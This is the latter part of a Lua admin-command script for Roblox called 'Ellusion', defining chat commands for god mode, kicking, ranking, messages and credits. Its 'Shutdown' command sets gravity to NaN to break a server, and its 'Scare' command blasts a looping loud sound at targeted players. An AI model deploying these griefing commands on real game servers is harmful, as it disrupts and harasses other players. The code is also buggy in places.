                         Ellusion.Functions.Output(Plr, 'Smited '..v.Name,'Lime green', false)
712
                end
713
        end
714
end)
715
716
717
Ellusion.Functions.AddCommand('God','god','God yourself, gives you infinite health.',2,function(Speaker, Msg)
718
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
719
          for i,v in pairs(gPlayers) do
720
                     if v then
721
                                 v.Character.Humanoid.MaxHealth = math.huge
722
                     end 
723
          end 
724
end)
725
726
Ellusion.Functions.AddCommand('Rank','rank','Shows how to get ranked',0,function(Speaker, Msg)
727
                Ellusion.Functions.Dismiss(Speaker)
728
                        Ellusion.Functions.Output(Speaker,'Then send the message to him with the fourm in','White',true)
729
                Ellusion.Functions.Output(Speaker,'Make sure the info you filled is correct (To what it says)','White',true)
730
                Ellusion.Functions.Output(Speaker,'If the info is correct, you will be added into the table.','White',true)
731
                Ellusion.Functions.Output(Speaker,'Dismiss','Really red',function()
732
                        Ellusion.Functions.Dismiss(Speaker)
733
        end)
734
end)
735
736
Ellusion.Functions.AddCommand('AFK','afk','Shows your afk.',0,function(Speaker, Msg)
737
    Ellusion.Functions.Dismiss(Speaker, Msg)
738
    for i = 1,5 do
739
    Ellusion.Functions.Output(Speaker,'You Are Now AFK '..Msg,'Really red',true)
740
    end
741
end)
742
743
Ellusion.Functions.AddCommand('Credits','cred','Shows the credits.',0,function(Speaker, Msg)
744
        Ellusion.Functions.Dismiss(Speaker)
745
        Ellusion.Functions.Output(Speaker, 'Loading Credits..','Really red',function()                
746
                Ellusion.Functions.Dismiss(Speaker)
747
                Ellusion.Functions.Output(Speaker, 'DrCoton | Creating The Admin','New Yellow',true)
748
                Ellusion.Functions.Output(Speaker, 'TheFlamingBlaster | Giving Sliding Server Message','New Yellow',true)
749
                Ellusion.Functions.Output(Speaker, 'Injectioneer | Giving Ideas','New Yellow',true)
750
                Ellusion.Functions.Output(Speaker, 'Zenuvius | for the lols','New Yellow',true)
751
                Ellusion.Functions.Output(Speaker, 'fireboltofdeath | Giving Anti-Fm','New Yellow',true)                
752
                Ellusion.Functions.Output(Speaker, 'Dismiss','Really red',function()
753
                        Ellusion.Functions.Dismiss(Speaker)
754
                end)
755
        end)
756
end)
757
758
759
Ellusion.Functions.AddCommand('Discord','dis','Shows the discord.',0,function(Speaker, Msg)
760
       Ellusion.Functions.Dismiss(Speaker, Msg)
761
    for i = 1,5 do
762
    Ellusion.Functions.Output(Speaker,'This Is The Discord! |https://discord.gg/PvcTv74|'..Msg,'Really red',true)
763
    end
764
end)
765
766
Ellusion.Functions.AddCommand('Owners Discord','odis','Shows DrCotons discord',5,function(Speaker, Msg)
767
       Ellusion.Functions.Dismiss(Speaker, Msg)
768
    for i = 1,5 do
769
    Ellusion.Functions.Output(Speaker,'This is DrCotons Disocrd |DrCoton#3261|'..Msg,'White',true)
770
    end
771
end)
772
          
773
Ellusion.Functions.AddCommand('Back','back','Afk from back.',0,function(Speaker, Msg)
774
          Ellusion.Functions.Dismiss(Speaker)
775
          for i = 1,5 do
776
                      Ellusion.Functions.Output(Speaker, "Player Is Now Back"..Msg,"Really red") 
777
          end 
778
end)
779
780
Ellusion.Functions.AddCommand('Ping','ping','Pings a message.',2,function(Speaker, Msg)
781
          Ellusion.Functions.Dismiss(Speaker)
782
          Ellusion.Functions.Output(Speaker, Msg, Ellusion.Functions.GetColor(Speaker))
783
end) 
784
785
Ellusion.Functions.AddCommand('Ping All','msg','Pings a message to server.',3,function(Speaker, Msg)
786
          for i,v in pairs(game.Players:GetPlayers()) do
787
                      if v then
788
                                Ellusion.Functions.Output(v, Msg, Ellusion.Functions.GetColor(Speaker))
789
                      end 
790
          end 
791
end)
792
793
Ellusion.Functions.AddCommand('Ask for rank up','rq','Rank up required.',0,function(Speaker, Msg)
794
          Ellusion.Functions.Dismiss(Speaker)
795
          if Ellusion.Functions.GetRank(Speaker) < 2 then
796
                     Ellusion.Functions.Output(Speaker, "You Are Now Asking For A RankUp", "Really red")
797
                     Ellusion.Functions.Output(Speaker, "Wait Until One Of The Higher Ranks Rank You", "Really red")
798
          end 
799
end)
800
801
function DestroyScript()
802
          for i,v in pairs(workspace:children()) do
803
                      if v:IsA('Script') then
804
                                v:Destroy()
805
                      end 
806
          end 
807
end 
808
Ellusion.Functions.AddCommand('Destroy script','destroys','Destroy\'s a script',7,function(Speaker, Msg)
809
          DestroyScript(Speaker)
810
end)
811
812
813
Ellusion.Functions.AddCommand('Shutdown','sd','Shuts down the whole server.',6,function(Speaker, Msg)
814
    Ellusion.Functions.Dismiss(Speaker)
815
    Ellusion.Functions.Output(Speaker,'5','White')
816
    function alert(txt,plr,duration)
817
if not duration then
818
	duration = 2
819
end
820
local SysAlert = Instance.new("ScreenGui")
821
local SysAlertFrame = Instance.new("Frame")
822
local FrameEffects = Instance.new("Frame")
823
local AlertTxt = Instance.new("TextLabel")
824
825
SysAlert.Name = "SysAlert"
826
SysAlert.Parent = plr.PlayerGui
827
SysAlert.ResetOnSpawn = false
828
829
SysAlertFrame.Name = "SysAlertFrame"
830
SysAlertFrame.Parent = SysAlert
831
SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
832
SysAlertFrame.BorderSizePixel = 0
833
SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
834
SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
835
SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
836
837
FrameEffects.Name = "FrameEffects"
838
FrameEffects.Parent = SysAlertFrame
839
FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
840
FrameEffects.BorderSizePixel = 0
841
FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
842
FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
843
844
AlertTxt.Name = "AlertTxt"
845
AlertTxt.Parent = SysAlertFrame
846
AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
847
AlertTxt.BackgroundTransparency = 1
848
AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
849
AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
850
AlertTxt.Font = Enum.Font.SourceSansLight
851
AlertTxt.FontSize = Enum.FontSize.Size14
852
AlertTxt.Text = txt
853
AlertTxt.TextColor3 = Color3.new(1, 1, 1)
854
AlertTxt.TextScaled = true
855
AlertTxt.TextWrapped = true
856
AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
857
858
delay(duration,function()	
859
	for i,v in pairs(SysAlertFrame:GetChildren()) do
860
		if v:IsA("TextLabel") or v:IsA("TextButton") then
861
			v.Text = ""
862
		end
863
	end 
864
	SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
865
	delay(1,function() SysAlert:Destroy() end)
866
	end)
867
end
868
function alertall(txt,duration)
869
	for i,v in pairs(game.Players:GetChildren()) do
870
		alert(txt,v,duration)
871
	end
872
end
873
alertall("[Ellusion]Server Shutting Down In 5")
874
    wait(1)
875
    Ellusion.Functions.Output(Speaker,'4','White')
876
        function alert(txt,plr,duration)
877
if not duration then
878
	duration = 2
879
end
880
local SysAlert = Instance.new("ScreenGui")
881
local SysAlertFrame = Instance.new("Frame")
882
local FrameEffects = Instance.new("Frame")
883
local AlertTxt = Instance.new("TextLabel")
884
885
SysAlert.Name = "SysAlert"
886
SysAlert.Parent = plr.PlayerGui
887
SysAlert.ResetOnSpawn = false
888
889
SysAlertFrame.Name = "SysAlertFrame"
890
SysAlertFrame.Parent = SysAlert
891
SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
892
SysAlertFrame.BorderSizePixel = 0
893
SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
894
SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
895
SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
896
897
FrameEffects.Name = "FrameEffects"
898
FrameEffects.Parent = SysAlertFrame
899
FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
900
FrameEffects.BorderSizePixel = 0
901
FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
902
FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
903
904
AlertTxt.Name = "AlertTxt"
905
AlertTxt.Parent = SysAlertFrame
906
AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
907
AlertTxt.BackgroundTransparency = 1
908
AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
909
AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
910
AlertTxt.Font = Enum.Font.SourceSansLight
911
AlertTxt.FontSize = Enum.FontSize.Size14
912
AlertTxt.Text = txt
913
AlertTxt.TextColor3 = Color3.new(1, 1, 1)
914
AlertTxt.TextScaled = true
915
AlertTxt.TextWrapped = true
916
AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
917
918
delay(duration,function()	
919
	for i,v in pairs(SysAlertFrame:GetChildren()) do
920
		if v:IsA("TextLabel") or v:IsA("TextButton") then
921
			v.Text = ""
922
		end
923
	end 
924
	SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
925
	delay(1,function() SysAlert:Destroy() end)
926
	end)
927
end
928
function alertall(txt,duration)
929
	for i,v in pairs(game.Players:GetChildren()) do
930
		alert(txt,v,duration)
931
	end
932
end
933
alertall("[Ellusion]Server Shutting Down In 4")
934
    wait(1)
935
    Ellusion.Functions.Output(Speaker,'3','White')
936
        function alert(txt,plr,duration)
937
if not duration then
938
	duration = 2
939
end
940
local SysAlert = Instance.new("ScreenGui")
941
local SysAlertFrame = Instance.new("Frame")
942
local FrameEffects = Instance.new("Frame")
943
local AlertTxt = Instance.new("TextLabel")
944
945
SysAlert.Name = "SysAlert"
946
SysAlert.Parent = plr.PlayerGui
947
SysAlert.ResetOnSpawn = false
948
949
SysAlertFrame.Name = "SysAlertFrame"
950
SysAlertFrame.Parent = SysAlert
951
SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
952
SysAlertFrame.BorderSizePixel = 0
953
SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
954
SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
955
SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
956
957
FrameEffects.Name = "FrameEffects"
958
FrameEffects.Parent = SysAlertFrame
959
FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
960
FrameEffects.BorderSizePixel = 0
961
FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
962
FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
963
964
AlertTxt.Name = "AlertTxt"
965
AlertTxt.Parent = SysAlertFrame
966
AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
967
AlertTxt.BackgroundTransparency = 1
968
AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
969
AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
970
AlertTxt.Font = Enum.Font.SourceSansLight
971
AlertTxt.FontSize = Enum.FontSize.Size14
972
AlertTxt.Text = txt
973
AlertTxt.TextColor3 = Color3.new(1, 1, 1)
974
AlertTxt.TextScaled = true
975
AlertTxt.TextWrapped = true
976
AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
977
978
delay(duration,function()	
979
	for i,v in pairs(SysAlertFrame:GetChildren()) do
980
		if v:IsA("TextLabel") or v:IsA("TextButton") then
981
			v.Text = ""
982
		end
983
	end 
984
	SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
985
	delay(1,function() SysAlert:Destroy() end)
986
	end)
987
end
988
function alertall(txt,duration)
989
	for i,v in pairs(game.Players:GetChildren()) do
990
		alert(txt,v,duration)
991
	end
992
end
993
alertall("[Ellusion]Server Shutting Down In 3")
994
    wait(1)
995
    Ellusion.Functions.Output(Speaker,'2','White')
996
        function alert(txt,plr,duration)
997
if not duration then
998
	duration = 2
999
end
1000
local SysAlert = Instance.new("ScreenGui")
1001
local SysAlertFrame = Instance.new("Frame")
1002
local FrameEffects = Instance.new("Frame")
1003
local AlertTxt = Instance.new("TextLabel")
1004
1005
SysAlert.Name = "SysAlert"
1006
SysAlert.Parent = plr.PlayerGui
1007
SysAlert.ResetOnSpawn = false
1008
1009
SysAlertFrame.Name = "SysAlertFrame"
1010
SysAlertFrame.Parent = SysAlert
1011
SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
1012
SysAlertFrame.BorderSizePixel = 0
1013
SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
1014
SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
1015
SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
1016
1017
FrameEffects.Name = "FrameEffects"
1018
FrameEffects.Parent = SysAlertFrame
1019
FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
1020
FrameEffects.BorderSizePixel = 0
1021
FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
1022
FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
1023
1024
AlertTxt.Name = "AlertTxt"
1025
AlertTxt.Parent = SysAlertFrame
1026
AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
1027
AlertTxt.BackgroundTransparency = 1
1028
AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
1029
AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
1030
AlertTxt.Font = Enum.Font.SourceSansLight
1031
AlertTxt.FontSize = Enum.FontSize.Size14
1032
AlertTxt.Text = txt
1033
AlertTxt.TextColor3 = Color3.new(1, 1, 1)
1034
AlertTxt.TextScaled = true
1035
AlertTxt.TextWrapped = true
1036
AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
1037
1038
delay(duration,function()	
1039
	for i,v in pairs(SysAlertFrame:GetChildren()) do
1040
		if v:IsA("TextLabel") or v:IsA("TextButton") then
1041
			v.Text = ""
1042
		end
1043
	end 
1044
	SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
1045
	delay(1,function() SysAlert:Destroy() end)
1046
	end)
1047
end
1048
function alertall(txt,duration)
1049
	for i,v in pairs(game.Players:GetChildren()) do
1050
		alert(txt,v,duration)
1051
	end
1052
end
1053
alertall("[Ellusion]Server Shutting Down In 2") 
1054
    wait(1)
1055
    Ellusion.Functions.Output(Speaker,'1','White')
1056
        function alert(txt,plr,duration)
1057
if not duration then
1058
	duration = 2
1059
end
1060
local SysAlert = Instance.new("ScreenGui")
1061
local SysAlertFrame = Instance.new("Frame")
1062
local FrameEffects = Instance.new("Frame")
1063
local AlertTxt = Instance.new("TextLabel")
1064
1065
SysAlert.Name = "SysAlert"
1066
SysAlert.Parent = plr.PlayerGui
1067
SysAlert.ResetOnSpawn = false
1068
1069
SysAlertFrame.Name = "SysAlertFrame"
1070
SysAlertFrame.Parent = SysAlert
1071
SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
1072
SysAlertFrame.BorderSizePixel = 0
1073
SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
1074
SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
1075
SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
1076
1077
FrameEffects.Name = "FrameEffects"
1078
FrameEffects.Parent = SysAlertFrame
1079
FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
1080
FrameEffects.BorderSizePixel = 0
1081
FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
1082
FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
1083
1084
AlertTxt.Name = "AlertTxt"
1085
AlertTxt.Parent = SysAlertFrame
1086
AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
1087
AlertTxt.BackgroundTransparency = 1
1088
AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
1089
AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
1090
AlertTxt.Font = Enum.Font.SourceSansLight
1091
AlertTxt.FontSize = Enum.FontSize.Size14
1092
AlertTxt.Text = txt
1093
AlertTxt.TextColor3 = Color3.new(1, 1, 1)
1094
AlertTxt.TextScaled = true
1095
AlertTxt.TextWrapped = true
1096
AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
1097
1098
delay(duration,function()	
1099
	for i,v in pairs(SysAlertFrame:GetChildren()) do
1100
		if v:IsA("TextLabel") or v:IsA("TextButton") then
1101
			v.Text = ""
1102
		end
1103
	end 
1104
	SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
1105
	delay(1,function() SysAlert:Destroy() end)
1106
	end)
1107
end
1108
function alertall(txt,duration)
1109
	for i,v in pairs(game.Players:GetChildren()) do
1110
		alert(txt,v,duration)
1111
	end
1112
end
1113
alertall("[Ellusion]Server Shutting Down In 1")
1114
    Ellusion.Functions.Dismiss(Speaker)
1115
    Ellusion.Functions.Output(Speaker,'[Ellusion]: Server Has Been Shutdown!'..Msg,'Really red')    
1116
    wait(.5)
1117
          for i,v in pairs(game.Players:GetPlayers()) do
1118
                     if v then
1119
                                  workspace.Gravity=0/0
1120
                             end 
1121
          end
1122
          m = Instance.new("Message", workspace) m.Text = "Ellusion: Server Has Been Shutdown from one of the admins. Sorry about that!" wait(10) m:Destroy() 
1123
end)
1124
1125
Ellusion.Functions.AddCommand('Update','update','Updates Script.',7,function(Speaker, Msg)
1126
Ellusion.Functions.Dismiss(Speaker)
1127
          Ellusion.Functions.Output(Speaker, "Ellusion Is Now Updating..", "Really red")         
1128
end)
1129
1130
Ellusion.Functions.AddCommand('Finished','finished','Updates Script.',7,function(Speaker, Msg)
1131
Ellusion.Functions.Dismiss(Speaker)
1132
          Ellusion.Functions.Output(Speaker, "Updates Have Finished!", "Lime green")
1133
end)
1134
1135
Ellusion.Functions.AddCommand('Players','players','View all players',3,function(Speaker, Msg)
1136
          Ellusion.Functions.Dismiss(Speaker)
1137
          for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
1138
                      Ellusion.Functions.Output(Speaker, Player.Name, Ellusion.Functions.GetColor(Player), function() Ellusion.Functions.Dismiss(Speaker)
1139
                                Ellusion.Functions.Output(Speaker, 'Name : '..Player.Name, Ellusion.Functions.GetColor(Player))
1140
                                Ellusion.Functions.Output(Speaker, 'AccountAge : '..Player.AccountAge, Ellusion.Functions.GetColor(Player))
1141
                                Ellusion.Functions.Output(Speaker, 'UserId : '..Player.userId, Ellusion.Functions.GetColor(Player))
1142
                                Ellusion.Functions.Output(Speaker, 'Player Rank : '..Ellusion.Functions.GetRank(Player), 'New Yeller')
1143
                                Ellusion.Functions.Output(Speaker, 'Player Color : '..Ellusion.Functions.GetColor(Player),Ellusion.Functions.GetColor(Player))
1144
                                Ellusion.Functions.Output(Speaker, 'Kick Player', 'Really red', function() Ellusion.Functions.Dismiss(Speaker) Ellusion.Functions.Kick(Player) end)
1145
                                Ellusion.Functions.Output(Speaker, 'Rank User','Lime green',function()
1146
                                    Ellusion.Functions.Dismiss(Speaker)
1147
                                 Ellusion.Functions.Output(Speaker, '[1]','Really red',function()
1148
                                     Ellusion.Ranked[Speaker.Name]['Rank'] = 1
1149
                                     Ellusion.Functions.Output(Speaker, 'Set users rank to 1', true)
1150
                                     wait(3)
1151
                                     Ellusion.Functions.Dismiss(Speaker)--Rank system not working currently :c
1152
                             end)
1153
                             Ellusion.Functions.Output(Speaker,'[2]',':Lime green',function()
1154
                                 Ellusion.Ranked[Speaker.Name]['Rank'] = 2
1155
                                 Ellusion.Functions.Output(Speaker, 'Set users rank to 2', true)
1156
                                 wait(3)
1157
                                 Ellusion.Functions.Dismiss(Speaker)
1158
                             end)
1159
                             Ellusion.Functions.Output(Speaker,'[3]','White',function()
1160
                                 Ellusion.Ranked[Speaker.Name]['Rank'] = 3
1161
                                 Ellusion.Functions.Output(Speaker, 'Set users rank to 3', true)
1162
                                 wait(3)
1163
                                 Ellusion.Functions.Dismiss(Speaker)
1164
                             end)
1165
                             Ellusion.Functions.Output(Speaker,'[4]','New Yeller',function()
1166
                                 Ellusion.Ranked[Speaker.Name]['Rank'] = 4
1167
                                 Ellusion.Functions.Output(Speaker, 'Set users rank to 4', true)
1168
                                 wait(3)
1169
                                 Ellusion.Functions.Dismiss(Speaker)
1170
                             end)
1171
                             Ellusion.Functions.Output(Speaker,'[5]','Light blue',function()
1172
                                 Ellusion.Ranked[Speaker.Name]['Rank'] = 5
1173
                                 Ellusion.Functions.Output(Speaker, 'Set users rank to 5', true)
1174
                                 wait(3)
1175
                                 Ellusion.Functions.Dismiss(Speaker)
1176
                             end)
1177
                             Ellusion.Functions.Output(Speaker,'[6]','White',function()
1178
                                 Ellusion.Ranked[Speaker.Name]['Rank'] = 6
1179
                                 Ellusion.Functions.Output(Speaker, 'Set users rank to 6', true)
1180
                                 wait(3)
1181
                                 Ellusion.Functions.Dismiss(Speaker)
1182
                             end)
1183
                             Ellusion.Functions.Output(Speaker,'[7]','Really black',function()
1184
                                 Ellusion.Ranked[Speaker.Name]['Rank'] = 7
1185
                                 Ellusion.Functions.Output(Speaker, 'Set users rank to 7', true)
1186
                                 wait(3)
1187
                                 Ellusion.Functions.Dismiss(Speaker)
1188
                             end)
1189
                         
1190
                      end) 
1191
          end)
1192
        end
1193
        end)
1194
1195
1196
Ellusion.Functions.AddCommand('Set Color','setc','Sets your color.',1,function(Plr,Name)
1197
          Ellusion.Functions.SetColor(Plr, Name)
1198
          Ellusion.Functions.Output(Plr, "New Color:\n"..Ellusion.Functions.GetColor(Plr))
1199
end) 
1200
1201
Ellusion.Functions.AddCommand('Sound search','sm','Sound searches music.',1,function(Plr,Name)
1202
          Ellusion.Functions.SoundSearch(Plr,Name)
1203
end) 
1204
1205
Ellusion.Functions.AddCommand('Scare','scare','Scares the whole server.',6,function(Speaker, Msg)
1206
          local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
1207
          for i,v in pairs(gPlayers) do
1208
          local s = Instance.new("Sound", v:FindFirstChild('PlayerGui'))
1209
		s.SoundId="rbxassetid://170755561"
1210
		s.Looped=true
1211
		s.Volume=1e1
1212
		s:Play()
1213
	end
1214
end, false)
1215
1216
Ellusion.Functions.AddCommand('Explore','explore','Explore from Ellusion/Tablet.',4,function(Speaker, Msg)
1217
         Ellusion.Functions.Explore(Speaker)
1218
end)
1219
1220
game:GetService("Players").PlayerAdded:connect(function(plr)
1221
        local type = nil
1222
        if type == 'join' then
1223
                  Ellusion.Functions.Output(player.Name.. ' Has joined the game!', 'Lime green')
1224
         end 
1225
         --[[plr.Chatted:connect(function(msg)
1226
                    Ellusion.Functions.OnChatted(plr, msg)
1227
         end)]]--
1228
         
1229
end) 
1230
1231
---Ranks---
1232
1233
game:GetService("RunService").Heartbeat:connect(Ellusion.Functions.RotateTabs)
1234
1235
stime=tick()
1236
1237
warn("Thank You For Running Ellusion!")
1238
warn("If You Are Using Ellusion you either saw the leaked one!")
1239
warn("Please do not abuse")
1240
warn("Made by Dr_Coton")